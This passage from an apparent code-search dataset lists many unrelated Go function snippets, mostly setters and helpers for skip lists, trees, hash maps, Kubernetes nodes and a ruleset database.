(y&0xFFFFF0)<<16 + (z&0x3FFFFC)>>2\n chunk, ok := m.chunks[key]\n if chunk != nil {\n chunk.Set(x, y, z, eid)\n } else if !ok && m.generator != nil{\n m.generator.GenerateChunk(m, (x&0xFFFFF0)>>4, (y&0xFFFFF0)>>4, (z&0x3FFFFC)>>2)\n m.Set(x, y, z, eid)\n }\n}", "func (m *DeviceManagementComplexSettingDefinition) SetPropertyDefinitionIds(value []string)() {\n err := m.GetBackingStore().Set(\"propertyDefinitionIds\", value)\n if err != nil {\n panic(err)\n }\n}", "func FillDefinition(d *Definition, fields map[string]string) error {\n\tif d == nil {\n\t\treturn nil\n\t}\n\tsdef := reflect.ValueOf(d).Elem()\n\ttypeOfDef := sdef.Type()\n\tfor k, v := range fields {\n\t\t// Check the field is present\n\t\tif f, ok := typeOfDef.FieldByName(k); ok {\n\t\t\t// Use the right type\n\t\t\tswitch f.Type.Name() {\n\t\t\tcase \"float\":\n\t\t\t\tvf, _ := strconv.ParseFloat(v, 32)\n\t\t\t\tsdef.FieldByName(k).SetFloat(vf)\n\t\t\tcase \"int\":\n\t\t\t\tvi, _ := strconv.Atoi(v)\n\t\t\t\tsdef.FieldByName(k).SetInt(int64(vi))\n\t\t\tcase \"string\":\n\t\t\t\tsdef.FieldByName(k).SetString(v)\n\t\t\tcase \"bool\":\n\t\t\t\tvb, _ := strconv.ParseBool(v)\n\t\t\t\tsdef.FieldByName(k).SetBool(vb)\n\t\t\tcase \"\":\n\t\t\t\tif f.Type.Kind().String() == \"slice\" {\n\t\t\t\t\t// Special case for \"tags\" which is an array, not a scalar\n\t\t\t\t\ta := strings.Split(v, \",\")\n\t\t\t\t\tsdef.FieldByName(k).Set(reflect.ValueOf(a))\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\treturn fmt.Errorf(\"Unsupported type: %s\", f.Type.Name())\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (p *prober) setNodes(added nodeMap, removed nodeMap) {\n\tp.Lock()\n\tdefer p.Unlock()\n\n\tfor _, n := range removed {\n\t\tfor elem := range n.Addresses() {\n\t\t\tp.RemoveIP(elem.IP)\n\t\t}\n\t}\n\n\tfor _, n := range added {\n\t\tfor elem, primary := range n.Addresses() {\n\t\t\t_, addr := resolveIP(&n, elem, \"icmp\", primary)\n\t\t\tif addr == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tip := ipString(elem.IP)\n\t\t\tresult := &models.ConnectivityStatus{}\n\t\t\tresult.Status = \"Connection timed out\"\n\t\t\tp.AddIPAddr(addr)\n\t\t\tp.nodes[ip] = n\n\n\t\t\tif p.results[ip] == nil {\n\t\t\t\tp.results[ip] = &models.PathStatus{\n\t\t\t\t\tIP: elem.IP,\n\t\t\t\t}\n\t\t\t}\n\t\t\tp.results[ip].Icmp = result\n\t\t}\n\t}\n}", "func (mgr *Manager) SaveNodeDef(kind string, force bool) error {\n\tatomic.AddUint64(&mgr.stats.TotSaveNodeDef, 1)\n\n\tif mgr.cfg == nil {\n\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefNil, 1)\n\t\treturn nil // Occurs during testing.\n\t}\n\n\tnodeDef := &NodeDef{\n\t\tHostPort: mgr.bindHttp,\n\t\tUUID: mgr.uuid,\n\t\tImplVersion: mgr.version,\n\t\tTags: mgr.tags,\n\t\tContainer: mgr.container,\n\t\tWeight: mgr.weight,\n\t\tExtras: mgr.extras,\n\t}\n\n\tfor {\n\t\tnodeDefs, cas, err := CfgGetNodeDefs(mgr.cfg, kind)\n\t\tif err != nil {\n\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefGetErr, 1)\n\t\t\treturn err\n\t\t}\n\t\tif nodeDefs == nil {\n\t\t\tnodeDefs = NewNodeDefs(mgr.version)\n\t\t}\n\t\tnodeDefPrev, exists := nodeDefs.NodeDefs[mgr.uuid]\n\t\tif exists && !force {\n\t\t\tif reflect.DeepEqual(nodeDefPrev, nodeDef) {\n\t\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefSame, 1)\n\t\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefOk, 1)\n\t\t\t\treturn nil // No changes, so leave the existing nodeDef.\n\t\t\t}\n\t\t}\n\n\t\tnodeDefs.UUID = NewUUID()\n\t\tnodeDefs.NodeDefs[mgr.uuid] = nodeDef\n\t\tnodeDefs.ImplVersion = CfgGetVersion(mgr.cfg)\n\t\tlog.Printf(\"manager: setting the nodeDefs implVersion \"+\n\t\t\t\"to %s\", nodeDefs.ImplVersion)\n\n\t\t_, err = CfgSetNodeDefs(mgr.cfg, kind, nodeDefs, cas)\n\t\tif err != nil {\n\t\t\tif _, ok := err.(*CfgCASError); ok {\n\t\t\t\t// Retry if it was a CAS mismatch, as perhaps\n\t\t\t\t// multiple nodes are all racing to register themselves,\n\t\t\t\t// such as in a full datacenter power restart.\n\t\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefRetry, 1)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefSetErr, 1)\n\t\t\treturn err\n\t\t}\n\t\tbreak\n\t}\n\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefOk, 1)\n\treturn nil\n}", "func (n *Node) split() {\n\tquads := n.boundingBox.Quarter()\n\n\tn.children[0] = NewNode(n.level+1, quads[0])\n\tn.children[1] = NewNode(n.level+1, quads[1])\n\tn.children[2] = NewNode(n.level+1, quads[2])\n\tn.children[3] = NewNode(n.level+1, quads[3])\n\n\t// Make a copy of our values\n\tvar values []Boxer\n\tvalues = append(values, n.values...)\n\n\t// Clear out the current values\n\tn.values = nil\n\n\t// Reinsert our values\n\tfor i, _ := range values {\n\t\tn.Insert(values[i])\n\t}\n}", "func (_ResolverContract *ResolverContractTransactorSession) SetMultiaddr(node [32]byte, multiaddr []byte) (*types.Transaction, error) {\n\treturn _ResolverContract.Contract.SetMultiaddr(&_ResolverContract.TransactOpts, node, multiaddr)\n}", "func (me *TAttlistSupplMeshNameType) Set(s string) { (*xsdt.Token)(me).Set(s) }", "func (e *BaseExecutor) SetChildren(idx int, ex Executor) {\n\te.children[idx] = ex\n}", "func (g *GCache) SetMulti(values map[string]any, ttl time.Duration) (err error) {\n\tfor key, val := range values {\n\t\terr = g.db.SetWithExpire(key, val, ttl)\n\t}\n\treturn\n}", "func (s HTTPStore) SetMulti(metas map[string][]byte) error {\n\turl, err := s.buildMetaURL(\"\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := NewMultiPartMetaRequest(url.String(), metas)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp, err := s.roundTrip.RoundTrip(req)\n\tif err != nil {\n\t\treturn NetworkError{Wrapped: err}\n\t}\n\tdefer resp.Body.Close()\n\t// if this 404's something is pretty wrong\n\treturn translateStatusToError(resp, \"POST metadata endpoint\")\n}", "func (d Data) set(keys []string, value interface{}) error {\n\tswitch len(keys) {\n\tcase 0:\n\t\treturn nil\n\tcase 1:\n\t\treturn d.setValue(keys[0], value)\n\t}\n\n\tkeyData, err := d.Data(keys[0])\n\tswitch err {\n\tcase ErrUnexpectedType, ErrNotFound:\n\t\tkeyData = make(Data)\n\t\td[keys[0]] = keyData\n\t\treturn keyData.set(keys[1:], value)\n\tcase nil:\n\t\treturn keyData.set(keys[1:], value)\n\tdefault:\n\t\treturn err\n\t}\n}", "func (s *SkipList) Set(key, value interface{}) {\n\tif key == nil {\n\t\tpanic(\"goskiplist: nil keys are not supported\")\n\t}\n\n\t// s.level starts from 0, so we need to allocate one.\n\tupdate := make([]*snode, s.level()+1, s.effectiveMaxLevel()+1)\n\tcandidate := s.getPath(s.header, update, key)\n\n\tif candidate != nil && candidate.key == key {\n\t\tcandidate.value = value\n\t\treturn\n\t}\n\n\tnewLevel := s.randomLevel()\n\t// 随机增加level\n\tif currentLevel := s.level(); newLevel > currentLevel {\n\t\t// there are no pointers for the higher levels in update.\n\t\t// Header should be there. Also add higher level links to the header.\n\t\tfor i := currentLevel + 1; i <= newLevel; i++ {\n\t\t\tupdate = append(update, s.header)\n\t\t\ts.header.forward = append(s.header.forward, nil)\n\t\t}\n\t}\n\n\tnewNode := &snode{\n\t\tforward: make([]*snode, newLevel+1, s.effectiveMaxLevel()+1),\n\t\tkey: key,\n\t\tvalue: value,\n\t}\n\n\t// 给新加入的节点设置前指针\n\tif previous := update[0]; previous.key != nil {\n\t\tnewNode.backward = previous\n\t}\n\n\t// 给新加入的节点设置后指针(数组)\n\tfor i := 0; i <= newLevel; i++ {\n\t\tnewNode.forward[i] = update[i].forward[i]\n\t\tupdate[i].forward[i] = newNode\n\t}\n\n\ts.length++\n\n\tif newNode.forward[0] != nil {\n\t\tif newNode.forward[0].backward != newNode {\n\t\t\tnewNode.forward[0].backward = newNode\n\t\t}\n\t}\n\n\tif s.footer == nil || s.lessThan(s.footer.key, key) {\n\t\ts.footer = newNode\n\t}\n}", "func newStatefulSetNode(nodeName string, node v1alpha1.ElasticsearchNode, cluster *v1alpha1.Elasticsearch, roleMap map[v1alpha1.ElasticsearchNodeRole]bool) NodeTypeInterface {\n\tstatefulSetNode := statefulSetNode{}\n\n\tstatefulSetNode.populateReference(nodeName, node, cluster, roleMap, node.NodeCount)\n\n\treturn &statefulSetNode\n}", "func (tmpl *Template) setVars(data interface{}) {\n\tvalue, _ := core.GetValue(data, tmpl.config.Prefix)\n\ttmpl.store.Purge()\n\tfor k, v := range core.ToKvMap(value) {\n\t\ttmpl.store.Set(k, v)\n\t}\n}", "func (l *GitLocation) SetTestDefs(testDefMap map[string]*testdefinition.TestDefinition) error {\n\t// ignore the location if the domain is excluded\n\tif util.DomainMatches(l.repoURL.Hostname(), testmachinery.Locations().ExcludeDomains...) {\n\t\treturn nil\n\t}\n\ttestDefs, err := l.getTestDefs()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, def := range testDefs {\n\t\t// Prioritize local testdefinitions over remote\n\t\tif testDefMap[def.Info.Name] == nil || testDefMap[def.Info.Name].Location.Type() != tmv1beta1.LocationTypeLocal {\n\t\t\tdef.AddInputArtifacts(argov1.Artifact{\n\t\t\t\tName: \"repo\",\n\t\t\t\tPath: testmachinery.TM_REPO_PATH,\n\t\t\t})\n\t\t\ttestDefMap[def.Info.Name] = def\n\t\t}\n\t}\n\treturn nil\n}", "func (t *T) SetNode(n *node.T) { t.n = n }", "func (d Document) Set(fp []string, val interface{}) error {\n\td2, err := d.getDocument(fp[:len(fp)-1], true)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn d2.SetField(fp[len(fp)-1], val)\n}", "func (self *TileSprite) SetChildrenA(member []DisplayObject) {\n self.Object.Set(\"children\", member)\n}", "func (a *AST) SetChildren(children []AST) {\n\tif a.RootToken {\n\t\ta.Children = children\n\t} else {\n\t\ta.Children = append(a.Children[:1], children...)\n\t}\n}", "func Set(items []utils.Pair, db RedisDBClientInterface, group environment.EnvironmentGroup) error {\n\tfor _, kv := range items {\n\t\tfst := extract(kv.Fst.(string), group)\n\t\tsnd := extract(kv.Snd.(string), group)\n\t\t_, err := db.Set(fst, snd,0).Result()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (me *TxsdRegistryHandleSimpleContentExtensionRegistry) Set(s string) { (*xsdt.Nmtoken)(me).Set(s) }", "func (_ResolverContract *ResolverContractTransactor) SetMultiaddr(opts *bind.TransactOpts, node [32]byte, multiaddr []byte) (*types.Transaction, error) {\n\treturn _ResolverContract.contract.Transact(opts, \"setMultiaddr\", node, multiaddr)\n}", "func (n *Nodes) Set1(node *Node)", "func (m *DeviceManagementConfigurationSettingDefinition) SetKeywords(value []string)() {\n err := m.GetBackingStore().Set(\"keywords\", value)\n if err != nil {\n panic(err)\n }\n}", "func (f *Fields) Set(s []*Field)", "func initChilds(values map[string]interface{}) map[string]interface{} {\r\n\ttypeName := values[\"TYPENAME\"].(string)\r\n\tstoreId := typeName[0:strings.Index(typeName, \".\")]\r\n\tprototype, _ := GetServer().GetEntityManager().getEntityPrototype(typeName, storeId)\r\n\tfor i := 0; i < len(prototype.Fields); i++ {\r\n\t\tif strings.HasPrefix(prototype.Fields[i], \"M_\") {\r\n\t\t\tisBaseType := strings.HasPrefix(prototype.FieldsType[i], \"xs.\") || strings.HasPrefix(prototype.FieldsType[i], \"[]xs.\") || strings.HasPrefix(prototype.FieldsType[i], \"enum:\")\r\n\t\t\tif !isBaseType {\r\n\t\t\t\tisRef := strings.HasSuffix(prototype.FieldsType[i], \":Ref\") || strings.HasSuffix(prototype.Fields[i], \"Ptr\")\r\n\t\t\t\tif !isRef {\r\n\t\t\t\t\tv := reflect.ValueOf(values[prototype.Fields[i]])\r\n\t\t\t\t\t// In case of an array of references.\r\n\t\t\t\t\tif v.IsValid() {\r\n\t\t\t\t\t\tif v.Type().Kind() == reflect.Slice {\r\n\t\t\t\t\t\t\tfor j := 0; j < v.Len(); j++ {\r\n\t\t\t\t\t\t\t\tif v.Index(j).Type().Kind() == reflect.Interface {\r\n\t\t\t\t\t\t\t\t\tif reflect.TypeOf(v.Index(j).Interface()).Kind() == reflect.String {\r\n\t\t\t\t\t\t\t\t\t\tif Utility.IsValidEntityReferenceName(v.Index(j).Interface().(string)) {\r\n\t\t\t\t\t\t\t\t\t\t\tv_, err := getEntityByUuid(v.Index(j).Interface().(string))\r\n\t\t\t\t\t\t\t\t\t\t\tif err == nil {\r\n\t\t\t\t\t\t\t\t\t\t\t\tvalues[prototype.Fields[i]].([]interface{})[j] = v_\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t// In case of a reference.\r\n\t\t\t\t\t\t\tif v.Type().Kind() == reflect.String {\r\n\t\t\t\t\t\t\t\t// Here I will test if the value is a valid reference.\r\n\t\t\t\t\t\t\t\tif Utility.IsValidEntityReferenceName(v.String()) {\r\n\t\t\t\t\t\t\t\t\tv_, err := getEntityByUuid(v.String())\r\n\t\t\t\t\t\t\t\t\tif err == nil {\r\n\t\t\t\t\t\t\t\t\t\tvalues[prototype.Fields[i]] = v_\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn values\r\n}", "func (hat *HashedArrayTree) Set(index int, value interface{}) error {\n\tif !hat.validIndex(index) {\n\t\treturn ErrIndexOutOfRange\n\t}\n\tti, li := hat.topIndex(index), hat.leafIndex(index)\n\that.top[ti][li] = value\n\treturn nil\n}", "func (em edgeMap) set(from, to *Vertex) {\n\t// This can take O(seconds), so let's do it outside the lock.\n\tnumUsages := astParser.ModuleUsagesForModule(from.Label, to.Label)\n\n\temMu.Lock()\n\tdefer emMu.Unlock()\n\tif em == nil {\n\t\tem = make(edgeMap)\n\t}\n\tif _, ok := em[from.Label]; !ok {\n\t\tem[from.Label] = make(map[string]*edge)\n\t}\n\tem[from.Label][to.Label] = &edge{From: from, To: to, NumUsages: numUsages}\n}", "func Set(object *astext.Object, path []string, value ast.Node) error {\n\tif len(path) == 0 {\n\t\treturn errors.New(\"path was empty\")\n\t}\n\n\tcurObj := object\n\n\tfor i, k := range path {\n\t\tfield, err := findField(curObj, k)\n\t\tif err != nil {\n\t\t\tswitch err.(type) {\n\t\t\tdefault:\n\t\t\t\treturn err\n\t\t\tcase *unknownField:\n\t\t\t\tfield, err = astext.CreateField(k)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfield.Hide = ast.ObjectFieldInherit\n\t\t\t\tcurObj.Fields = append(curObj.Fields, *field)\n\t\t\t}\n\t\t}\n\n\t\tif i == len(path)-1 {\n\t\t\tfield, _ = findField(curObj, k)\n\t\t\tif canUpdateObject(field.Expr2, value) {\n\t\t\t\treturn errors.New(\"can't set object to non object\")\n\t\t\t}\n\t\t\tfield.Expr2 = value\n\t\t\treturn nil\n\t\t}\n\n\t\tif field.Expr2 == nil {\n\t\t\tcurObj = &astext.Object{}\n\t\t\tfield.Expr2 = curObj\n\t\t} else if obj, ok := field.Expr2.(*astext.Object); ok {\n\t\t\tcurObj = obj\n\t\t} else {\n\t\t\treturn errors.Errorf(\"child is not an object at %q\", k)\n\t\t}\n\t}\n\n\treturn nil\n}", "func (m FieldMap) Set(field FieldWriter) FieldMap {\n\ttValues := make(TagValues, 1)\n\ttValues[0].init(field.Tag(), field.Write())\n\tm.tagLookup[field.Tag()] = tValues\n\treturn m\n}", "func (dl *DoublyLinkedList) set(position int32, value int32) bool {\n\tnode := dl.get(position)\n\tif node == nil {\n\t\treturn false\n\t}\n\tnode.value = value\n\treturn true\n}", "func (me *TxsdThoroughfareDependentThoroughfares) Set(s string) { (*xsdt.Nmtoken)(me).Set(s) }", "func SetTagonNode(nodes2tag string, appSettings appsettings.AppSettings) error {\n\t// creates the in-cluster config\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\tlog.Debugf(\"Getting the in cluster configuration for Kubernetes\")\n\t\treturn err\n\t}\n\t// creates the clientset\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\tlog.Debugf(\"Connecting to Kubernetes...\")\n\t\treturn err\n\t}\n\n\tk8snode, err := clientset.CoreV1().Nodes().Get(nodes2tag, metav1.GetOptions{})\n\tif err != nil {\n\t\tlog.Debugf(\"Getting the node %s from Kubernetes\", k8snode.Name)\n\t\treturn err\n\t}\n\n\tannotations := k8snode.Annotations\n\n\tfor i := range appSettings.InfrastructureTags {\n\t\tannotations[K8sAnnotationDomain+\"/\"+appSettings.InfrastructureTags[i].Key] = appSettings.InfrastructureTags[i].Value\n\t}\n\n\tk8snode.Annotations = annotations\n\tlog.Debugf(\"Setting annotations on the node %s\", k8snode.Name)\n\t_, err = clientset.CoreV1().Nodes().Update(k8snode)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Infof(\"Set the annotations on the\")\n\n\treturn nil\n}", "func SetParents(index, firstparent, lastparent int) {\n\tC.hepevt_set_parents(\n\t\tC.int(index+1),\n\t\tC.int(firstparent),\n\t\tC.int(lastparent))\n}", "func (r *Root) Set(ctx context.Context, i uint64, val cbg.CBORMarshaler) error {\n\tif i > MaxIndex {\n\t\treturn fmt.Errorf(\"index %d is out of range for the amt\", i)\n\t}\n\n\tvar d cbg.Deferred\n\tif val == nil {\n\t\td.Raw = cbg.CborNull\n\t} else {\n\t\tvalueBuf := new(bytes.Buffer)\n\t\tif err := val.MarshalCBOR(valueBuf); err != nil {\n\t\t\treturn err\n\t\t}\n\t\td.Raw = valueBuf.Bytes()\n\t}\n\n\t// where the index is greater than the number of elements we can fit into the\n\t// current AMT, grow it until it will fit.\n\tfor i >= nodesForHeight(r.bitWidth, r.height+1) {\n\t\t// if we have existing data, perform the re-height here by pushing down\n\t\t// the existing tree into the left-most portion of a new root\n\t\tif !r.node.empty() {\n\t\t\tnd := r.node\n\t\t\t// since all our current elements fit in the old height, we _know_ that\n\t\t\t// they will all sit under element [0] of this new node.\n\t\t\tr.node = &node{links: make([]*link, 1<<r.bitWidth)}\n\t\t\tr.node.links[0] = &link{\n\t\t\t\tdirty: true,\n\t\t\t\tcached: nd,\n\t\t\t}\n\t\t}\n\t\t// else we still need to add new nodes to form the right height, but we can\n\t\t// defer that to our set() call below which will lazily create new nodes\n\t\t// where it expects there to be some\n\t\tr.height++\n\t}\n\n\taddVal, err := r.node.set(ctx, r.store, r.bitWidth, r.height, i, &d)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif addVal {\n\t\t// Something is wrong, so we'll just do our best to not overflow.\n\t\tif r.count >= (MaxIndex - 1) {\n\t\t\treturn errInvalidCount\n\t\t}\n\t\tr.count++\n\t}\n\n\treturn nil\n}", "func (sl *List) Set(k, v interface{}) (added bool) {\n\tn := sl.findAndUpdate(k)\n\n\tif n != nil && sl.cmpFn(k, n.k) == 0 {\n\t\tn.v = v\n\t\treturn\n\t}\n\n\tn = &node{\n\t\tk: k,\n\t\tv: v,\n\t\tnext: make([]*node, sl.newLevel()),\n\t}\n\n\tfor i := range n.next {\n\t\tif up := sl.update[i]; up != nil {\n\t\t\ttmp := up.next[i]\n\t\t\tn.next[i] = tmp\n\t\t\tup.next[i] = n\n\t\t\tsl.update[i] = nil\n\t\t}\n\t}\n\n\tsl.len++\n\n\treturn true\n}", "func (ln *LocalNode) Set(e qnr.Entry) {\n\tln.mu.Lock()\n\tdefer ln.mu.Unlock()\n\n\tln.set(e)\n}", "func (m *SynchronizationSchema) SetDirectories(value []DirectoryDefinitionable)() {\n err := m.GetBackingStore().Set(\"directories\", value)\n if err != nil {\n panic(err)\n }\n}", "func (pm *PathMap) set(path string, value interface{}) {\n\tparts := strings.Split(path, svnSep)\n\tdir, name := parts[:len(parts)-1], parts[len(parts)-1]\n\tpm._createTree(dir).blobs[name] = value\n}", "func (m *Module) metadataDef(oldMetadata *ast.Metadata) {\n\tmd := m.getMetadata(oldMetadata.ID)\n\tfor _, oldNode := range oldMetadata.Nodes {\n\t\tnode := m.metadataNode(oldNode)\n\t\tmd.Nodes = append(md.Nodes, node)\n\t}\n}", "func SetNodeType(node []byte, nodeType NodeType) {\n\ttypet := (*NodeType)(unsafe.Pointer(&node[NodeTypeOffset]))\n\t*typet = nodeType\n}", "func (m *Map) SetMany(keys []string) {\n\tfor _, key := range keys {\n\t\tm.Set(key)\n\t}\n}", "func (n *resPool) SetChildren(children *list.List) {\n\tn.Lock()\n\tdefer n.Unlock()\n\tn.children = children\n}", "func (m *Set) SetTerms(value []Termable)() {\n err := m.GetBackingStore().Set(\"terms\", value)\n if err != nil {\n panic(err)\n }\n}", "func SetRuleSelected(n map[string]string) (err error) {\n node_uniqueid_ruleset := n[\"nid\"]\n ruleset_uniqueid := n[\"rule_uid\"]\n\n if ndb.Rdb == nil {\n logs.Error(\"SetRuleSelected -- Can't access to database\")\n return errors.New(\"SetRuleSelected -- Can't access to database\")\n }\n sqlQuery := \"SELECT * FROM ruleset_node WHERE node_uniqueid = \\\"\" + node_uniqueid_ruleset + \"\\\";\"\n rows, err := ndb.Rdb.Query(sqlQuery)\n if err != nil {\n logs.Error(\"Put SetRuleSelecteda query error %s\", err.Error())\n return err\n }\n defer rows.Close()\n if rows.Next() {\n rows.Close()\n updateRulesetNode, err := ndb.Rdb.Prepare(\"update ruleset_node set ruleset_uniqueid = ? where node_uniqueid = ?;\")\n if err != nil {\n logs.Error(\"SetRuleSelected UPDATE prepare error -- \" + err.Error())\n return err\n }\n _, err = updateRulesetNode.Exec(&ruleset_uniqueid, &node_uniqueid_ruleset)\n defer updateRulesetNode.Close()\n\n if err != nil {\n logs.Error(\"SetRuleSelected UPDATE Error -- \" + err.Error())\n return err\n }\n return nil\n } else {\n insertRulesetNode, err := ndb.Rdb.Prepare(\"insert into ruleset_node (ruleset_uniqueid, node_uniqueid) values (?,?);\")\n _, err = insertRulesetNode.Exec(&ruleset_uniqueid, &node_uniqueid_ruleset)\n defer insertRulesetNode.Close()\n\n if err != nil {\n logs.Error(\"error insertRulesetNode en ruleset/rulesets--> \" + err.Error())\n return err\n }\n return nil\n }\n return err\n}", "func (h *hashMap) Set(strKey, val string) {\n\tkey := GetHash(strKey)\n\n\tnode := &node{\n\t\tKey: Regularkey(key),\n\t\tVal: val,\n\t}\n\n\tbucket := h.getBucket(key)\n\n\tif bucket.add(node) {\n\t\tif float64(atomic.AddUint32(&h.Len, 1))/float64(atomic.LoadUint32(&h.Cap)) > THRESHOLD {\n\t\t\tatomic.StoreUint32(&h.Cap, h.Cap<<1)\n\t\t}\n\t}\n}", "func (t *Type) SetFields(fields []*Field)", "func putConsulTree(t tree, key string) {\n\tif !rename {\n\t\tt.update(\"/\" + key)\n\t\treturn\n\t}\n\n\tfor k, v := range t {\n\t\tsubTree, ok := v.(map[string]interface{})\n\t\tif ok {\n\t\t\t// push retrieved data to a Consul key\n\t\t\ttree(subTree).update(\"/\" + key)\n\t\t} else {\n\t\t\tpush(key+\"/\"+k, v)\n\t\t}\n\t}\n}", "func (fs *FakeSession) SetMany(pdus ...gosnmp.SnmpPDU) {\n\tfs.dirty = true\n\tfor _, pdu := range pdus {\n\t\tfs.data[pdu.Name] = pdu\n\t}\n}", "func (bir *BuildInfoRecord) setall(settings []debug.BuildSetting) {\n\tfor _, entry := range settings {\n\t\tbir.setkv(entry.Key, entry.Value)\n\t}\n}", "func resolveDeps(m meta.RESTMapper, objects []unstructuredv1.Unstructured, uids []types.UID, depsIsDependencies bool) (NodeMap, error) {\n\tif len(uids) == 0 {\n\t\treturn NodeMap{}, nil\n\t}\n\t// Create global node maps of all objects, one mapped by node UIDs & the other\n\t// mapped by node keys. This step also helps deduplicate the list of provided\n\t// objects\n\tglobalMapByUID := map[types.UID]*Node{}\n\tglobalMapByKey := map[ObjectReferenceKey]*Node{}\n\tfor ix, o := range objects {\n\t\tgvk := o.GroupVersionKind()\n\t\tm, err := m.RESTMapping(gvk.GroupKind(), gvk.Version)\n\t\tif err != nil {\n\t\t\tklog.V(4).Infof(\"Failed to map resource \\\"%s\\\" to GVR\", gvk)\n\t\t\treturn nil, err\n\t\t}\n\t\tns := o.GetNamespace()\n\t\tnode := Node{\n\t\t\tUnstructured: &objects[ix],\n\t\t\tUID: o.GetUID(),\n\t\t\tName: o.GetName(),\n\t\t\tNamespace: ns,\n\t\t\tNamespaced: ns != \"\",\n\t\t\tGroup: m.Resource.Group,\n\t\t\tVersion: m.Resource.Version,\n\t\t\tKind: m.GroupVersionKind.Kind,\n\t\t\tResource: m.Resource.Resource,\n\t\t\tOwnerReferences: o.GetOwnerReferences(),\n\t\t\tDependencies: map[types.UID]RelationshipSet{},\n\t\t\tDependents: map[types.UID]RelationshipSet{},\n\t\t}\n\t\tuid, key := node.UID, node.GetObjectReferenceKey()\n\t\tif n, ok := globalMapByUID[uid]; ok {\n\t\t\tklog.V(4).Infof(\"Duplicated %s.%s resource \\\"%s\\\" in namespace \\\"%s\\\"\", n.Kind, n.Group, n.Name, n.Namespace)\n\t\t}\n\t\tglobalMapByUID[uid] = &node\n\t\tglobalMapByKey[key] = &node\n\n\t\tif node.Group == corev1.GroupName && node.Kind == \"Node\" {\n\t\t\t// Node events sent by the Kubelet uses the node's name as the\n\t\t\t// ObjectReference UID, so we include them as keys in our global map to\n\t\t\t// support lookup by nodename\n\t\t\tglobalMapByUID[types.UID(node.Name)] = &node\n\t\t\t// Node events sent by the kube-proxy uses the node's hostname as the\n\t\t\t// ObjectReference UID, so we include them as keys in our global map to\n\t\t\t// support lookup by hostname\n\t\t\tif hostname, ok := o.GetLabels()[corev1.LabelHostname]; ok {\n\t\t\t\tglobalMapByUID[types.UID(hostname)] = &node\n\t\t\t}\n\t\t}\n\t}\n\n\tresolveLabelSelectorToNodes := func(o ObjectLabelSelector) []*Node {\n\t\tvar result []*Node\n\t\tfor _, n := range globalMapByUID {\n\t\t\tif n.Group == o.Group && n.Kind == o.Kind && n.Namespace == o.Namespace {\n\t\t\t\tif ok := o.Selector.Matches(labels.Set(n.GetLabels())); ok {\n\t\t\t\t\tresult = append(result, n)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn result\n\t}\n\tresolveSelectorToNodes := func(o ObjectSelector) []*Node {\n\t\tvar result []*Node\n\t\tfor _, n := range globalMapByUID {\n\t\t\tif n.Group == o.Group && n.Kind == o.Kind {\n\t\t\t\tif len(o.Namespaces) == 0 || o.Namespaces.Has(n.Namespace) {\n\t\t\t\t\tresult = append(result, n)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn result\n\t}\n\tupdateRelationships := func(node *Node, rmap *RelationshipMap) {\n\t\tfor k, rset := range rmap.DependenciesByRef {\n\t\t\tif n, ok := globalMapByKey[k]; ok {\n\t\t\t\tfor r := range rset {\n\t\t\t\t\tnode.AddDependency(n.UID, r)\n\t\t\t\t\tn.AddDependent(node.UID, r)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependentsByRef {\n\t\t\tif n, ok := globalMapByKey[k]; ok {\n\t\t\t\tfor r := range rset {\n\t\t\t\t\tn.AddDependency(node.UID, r)\n\t\t\t\t\tnode.AddDependent(n.UID, r)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependenciesByLabelSelector {\n\t\t\tif ols, ok := rmap.ObjectLabelSelectors[k]; ok {\n\t\t\t\tfor _, n := range resolveLabelSelectorToNodes(ols) {\n\t\t\t\t\tfor r := range rset {\n\t\t\t\t\t\tnode.AddDependency(n.UID, r)\n\t\t\t\t\t\tn.AddDependent(node.UID, r)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependentsByLabelSelector {\n\t\t\tif ols, ok := rmap.ObjectLabelSelectors[k]; ok {\n\t\t\t\tfor _, n := range resolveLabelSelectorToNodes(ols) {\n\t\t\t\t\tfor r := range rset {\n\t\t\t\t\t\tn.AddDependency(node.UID, r)\n\t\t\t\t\t\tnode.AddDependent(n.UID, r)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependenciesBySelector {\n\t\t\tif os, ok := rmap.ObjectSelectors[k]; ok {\n\t\t\t\tfor _, n := range resolveSelectorToNodes(os) 